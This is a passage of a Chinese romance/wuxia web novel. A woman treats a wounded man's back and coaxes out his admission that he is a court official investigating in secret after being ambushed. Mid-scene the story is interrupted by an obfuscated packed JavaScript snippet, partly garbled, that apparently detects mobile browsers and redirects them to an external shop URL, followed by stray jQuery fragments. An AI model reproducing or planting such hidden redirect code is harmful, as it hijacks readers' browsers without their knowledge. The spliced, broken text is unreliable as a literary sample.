“把衣服脱了。”
叶挽秋摆出大夫得姿态,把苏逢春摁在凳子上,命令着。
“叶姑娘,这深更半夜孤男寡女的,脱衣服,这不合适吧,这要是毁了姑娘清誉,我可是万死难辞其咎。”苏逢春双手挡在胸前,紧紧捂着衣领,俨然一副即将被欺辱,却宁死不从的良家子的模样。
叶挽秋心下会意,起身走至苏逢春身后,双手搭在他肩上,替他拢了拢衣服,脸上浮现一抹邪笑:“你说的对。”
声音听着很温柔,但苏逢春却觉得背后凉飕飕的。
话音刚落苏逢春就弓起了腰背,身体往前一顶,在空中微微发颤,复又归位。原来叶挽秋的手不知何时已经滑落倒他后背的伤口上去了,她对着伤口狠狠使劲,要不是因为腿伤无力,苏逢春痛的都可以弹起来行走了。
叶挽秋的双手又搭上了他的肩膀,从他耳侧探出脑袋幽幽问道:“疼吗?”
“疼!”
苏逢春感觉背后的伤口似乎隐隐有些撕裂,又开始渗血了,他坐在凳子上一动不敢动,脑袋都不敢偏一下。
“那,脱吗?”叶挽秋粉唇一勾,左手缓缓向下滑动。
“脱!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16659290|188363||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
>
苏逢春不假思索,在他眼里,现在叶挽秋此时跟恶魔没两样。
这一次叶挽秋上药的手法比上一次温柔多了,药倒在伤口上,还会用手指轻揉,帮助伤口吸收。从胸前到后背,手指每划过一处,都传给苏逢春一阵刺痒,直达心底,苏逢春的耳朵不着痕迹的红了。
“你并不是来这里做生意的吧?你没告我我爹你身上的刀伤,是为了不引人注目对吧?你不说,我也能猜到你的身份肯定不简单。”药上好了,叶挽秋给他缠绷带的时候轻声问道。
“就在刚刚,你的反应很快,换做常人,我早被你飞身而来的惯性撞倒在地上了,成为肉垫的人就不是你,而是我了。”
“你会武功,你保护了我。”
叶挽秋继续说出自己的推测。
“在山上,追杀你的,不是什么山贼,而是,官兵。”
“你是好人,还是坏人呢?”
打完结,叶挽秋坐在了苏逢春身前,两人静静对视,烛火在黑暗中一晃一晃,墙上的影子忽左忽右,忽大忽小。
不得不说,叶挽秋是聪明的,心细如发,见微知著。她冷静又理智,聪明且果敢,苏逢春欣赏的看着她,几番思索之下,决定告知真相。叶夫叶母的真心,叶挽秋的善良,苏逢春都是打心底的感激。
“叶姑娘玲珑心思,果然什么都瞒不过你的眼睛。我的确会武功,我本是朝廷官员,奉命暗中来此查案,途中不慎走漏风声,在雁云城外遭到截杀。无奈之下,我只能扮作叫花子掩人耳目,千方百计留下来,也只是为了有个合情合理的身份,以图后事。”
“至于我的名字,我的身世,我都从未骗过你。”他一字一句的说到。
“而其他的,我暂时还不能说。”
“你既得罪了人,就不怕连累我们家吗。”叶挽秋神色严肃。